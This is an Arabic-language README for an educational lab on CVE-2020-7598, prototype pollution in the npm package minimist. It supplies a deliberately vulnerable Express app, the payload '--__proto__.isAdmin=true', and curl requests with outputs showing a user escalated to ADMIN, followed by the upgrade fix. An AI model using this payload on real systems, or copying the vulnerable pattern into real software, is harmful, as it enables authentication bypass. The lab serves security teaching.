
مختبر تعليمي يوضح تلوث النموذج الأولي CVE-2020-7598 في minimist مع تطبيق Node.js/Express قابل للاختراق، وحمولة استغلال، ودليل تجاوز المصادقة لأغراض البحث الأمني.
تم إنشاء هذا المشروع فقط من أجل:
لا تستخدمه ضد أي نظام دون إذن.
CVE-2020-7598 هو ثغرة أمنية من نوع Prototype Pollution في حزمة npm:
< 0.2.1>= 1.0.0 < 1.2.3تسمح هذه الثغرة للمهاجم بتعديل:
Object.prototype
من خلال حمولة مثل:
--__proto__.isAdmin=true
النتيجة:
في JavaScript:
const user = {};
الكائن الفارغ لا يزال يرث الخصائص من:
Object.prototype
إذا نجح المهاجم في تنفيذ:
Object.prototype.isAdmin = true;
عندئذٍ:
({}).isAdmin
سينتج:
true
لكل كائن عادي.
https://github.com/renewablehacking/CVE-2020-7598.git
cd CVE-2020-7598
npm install
أو يدويًا:
npm install express [email protected]
أنشئ ملف:
app.js
المحتوى:
const express = require("express");
const minimist = require("minimist");
const app = express();
/*
محاكاة قاعدة بيانات المستخدمين
*/
const users = [
{
username: "zen",
password: "123"
}
];
/*
نقطة نهاية معرضة للخطر
*/
app.get("/parse", (req, res) => {
/*
احصل على الاستعلام الخام
*/
const payload = req.query.payload;
/*
حوله إلى مصفوفة وسائط CLI
*/
const args = payload.split(" ");
console.log("ARGS:", args);
/*
تحليل معرض للخطر
*/
minimist(args);
console.log("GLOBAL isAdmin:", {}.isAdmin);
res.send("Arguments parsed");
});
/*
نقطة نهاية تسجيل الدخول
*/
app.post("/login", express.json(), (req, res) => {
const { username, password } = req.body;
const user = users.find(
u =>
u.username === username &&
u.password === password
);
if(!user){
return res.json({
success: false
});
}
console.log("Own property:", user.hasOwnProperty("isAdmin"));
console.log("user.isAdmin:", user.isAdmin);
/*
منطق مصادقة معرض للخطر
*/
if(user.isAdmin){
return res.json({
success: true,
role: "ADMIN"
});
}
res.json({
success: true,
role: "USER"
});
});
app.listen(3000, () => {
console.log("Server running on port 3000");
});
node app.js
المخرجات:
Server running on port 3000
curl -X POST http://localhost:3000/login \
-H "Content-Type: application/json" \
-d '{"username":"zen","password":"123"}'
المخرجات:
{
"success": true,
"role": "USER"
}
افتح المتصفح:
http://localhost:3000/parse?payload=--__proto__.isAdmin=true
أو استخدم curl:
curl "http://localhost:3000/parse?payload=--__proto__.isAdmin=true"
طرفية الخادم:
GLOBAL isAdmin: true
أي أن:
Object.prototype.isAdmin = true
تم تعديله بنجاح.
curl -X POST http://localhost:3000/login \
-H "Content-Type: application/json" \
-d '{"username":"zen","password":"123"}'
المخرجات:
{
"success": true,
"role": "ADMIN"
}
رغم أن:
isAdmin.الكود التالي:
if(user.isAdmin)
لا يفحص فقط الخاصية المباشرة للكائن.
JavaScript سيبحث عن:
لأن المهاجم نجح في تعديل:
Object.prototype.isAdmin = true
فإن جميع الكائنات العادية ترث هذه الخاصية.
سجلات الخادم:
Own property: false
user.isAdmin: true
أي أن:
isAdmin ليست خاصية أصلية للمستخدم،الإصدار الآمن من minimist:
npm install minimist@latest
الإصدارات المصححة تمنع:
__proto__constructorprototypeوبالتالي لم يعد Prototype Pollution ناجحًا.
تم إنشاء المعمل والتوثيق لأغراض تعلم أمن تطبيقات Node.js والبحث في Prototype Pollution.